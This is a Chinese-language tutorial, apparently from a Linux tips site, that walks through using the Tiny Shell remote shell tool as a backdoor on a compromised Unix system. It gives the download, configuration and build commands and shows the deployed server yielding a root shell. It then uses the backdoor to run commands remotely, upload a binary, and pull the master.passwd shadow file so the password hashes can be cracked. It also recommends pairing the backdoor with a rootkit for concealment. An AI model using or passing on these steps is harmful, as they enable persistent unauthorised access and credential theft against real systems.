Unix/Linux系統下輕量級Shell工具
隨著互聯網的發展,使用Unix/Linux系統的越來越多,而入侵一臺Unix/Linux系統也不再是什么難事了。通常,在入侵成功之后,都會留一個或幾個后門,以便再次進入;對于Unix/Linux系統,后門的種類比較多,初級的有修改“.rhosts”文件,復制一個Shell到一個隱藏目錄,修改etc/passwd文件加用戶等手段。較高級的莫屬使用內核模塊后門(Rootkit)了,它是Unix/Linux系統下最高級別的后門,也許最具有隱蔽性的,但今天我并不說Rootkit,因為它的使用過于復雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕御。而Tiny Shell作為一款運行于Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支持另外一些不錯的功能,具體請看下文。
二,應用
1,Tiny Shell簡介
Tiny Shell是一款輕量級的標準遠程Shell工具,可以提供遠程執行命令(包括:Rlogin,Telnet,Ssh等)和文件傳輸功能(上傳、下載),支持單字節,完全支持Pseudo-Terminal Pairs(pty/tty)等偽終端。并使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。
2,Tiny Shell應用
測試環境:
本地:OpenBSD 3.4 IP:192.168.0.40
目標:FreeBSD 4.9 STABLE IP:192.168.0.20
首先下載Tiny Shell,解壓縮后修改源代碼,以求該工具更能符合我們的要求。
#fetch http://www.ringz.org/tsh-0.6.tgz
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLog README aes.h pel.h sha1.h tsh.h
Makefile aes.c pel.c sha1.c tsh.c tshd.c
#vi tsh.h
char *secret = "replace with your password";
//連接后門的密碼,我修改為dahubaobao。這個后門的主程序是tsh.c,先看看下邊的源代碼
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( "Password: " );
goto connect;
}
}
//重點在這里:ret = pel_client_init( server, secret );
把secret變量作為了參數,也就是連接后門所需要的密碼。現在知道為什么修改tsh.h了吧。
#define SERVER_PORT 7586
//后門簡聽的端口,任意修改
if( argc == 5 && ! strcmp( argv[2], "get" ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], "put" ) )
{
action = PUT_FILE;
}
//該后門并沒有幫助信息,所以查看這里得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該后門輸出幫助信息,可以自己添加一個Printf語句來輸出幫助信息。這里給出一個最簡單的方法,我們在不加參數的情況下執行./tsh的時候,會提示gethostbyname failed.,然后查看源代碼,找到fprintf( stderr, "gethostbyname failed.\n" );這句代碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助信息,這樣,在執行./tsh的時候,就會自動輸出幫助信息了。呵呵,也算一種變相修改吧。下面開始編譯源代碼。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根據你的系統做相應的選擇,10秒鐘就編譯好了。
然后,會在當前目錄下生成兩個可執行文件,一個客戶端,一個服務端,分別為:tsh,tshd。現在將tshd復制到目標系統(FreeBSD),然后執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該用戶的UID=1000,是普通用戶;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root權限的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root權限哦!執行uname ?Ca命令,回顯為FreeBSD系統,可見已經成功連接后門并登陸了。另外,該后門還可以在連接的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連接192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd文件我們就一覽無余了。但要注意,使用這種形式并沒有登陸目標主機,只是連接目標主機,然后插入一個Shell命令而已。
現在我們來看看上傳、下載的使用方法。從源代碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳文件,執行“./tsh 192.168.0.20 put 文件名 目標主機目錄”即可完成上傳,但要注意,文件要在當前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進制文件,使用./tsh 192.168.0.20 put back /,這條命令是將back文件上傳目標根目錄,然后我再使用./tsh 192.168.0.20連接到目標主機,ls查看back是否已經上傳到了對方主機,呵呵,還不錯吧!在來看下載文件,它的語法為“./tsh 192.168.0.20 get 目標文件 本地目錄”,現在我們來獲得其最敏感的文件----master.passwd(影子文件,也就是Linux系統下的shadow文件)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd文件到本地的/home/dahubaobao目錄,然后使用ls查看,可以看見已經將對方的master.passwd下載到了本地,再vi master.passwd,哈哈,用戶的加密密碼近在眼前。提示,FreeBSD的用戶密碼是采用MD5加密的。
小結
Tiny Shell作為一款小型的Shell工具,絲毫不遜于其他同類的Shell工具,而且支持大部分的Unix/Linux系統,絕對值得一試。當然,這款后門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。
關鍵字:互聯網、Shell工具、遠程執行
新文章:
- CentOS7下圖形配置網絡的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統后丟失windows啟動項
- CentOS單網卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網打印機IP講解
- CentOS7使用hostapd實現無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網絡重啟出錯
- 解決Centos7雙系統后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統有什么不同呢
- Centos 6.6默認iptable規則詳解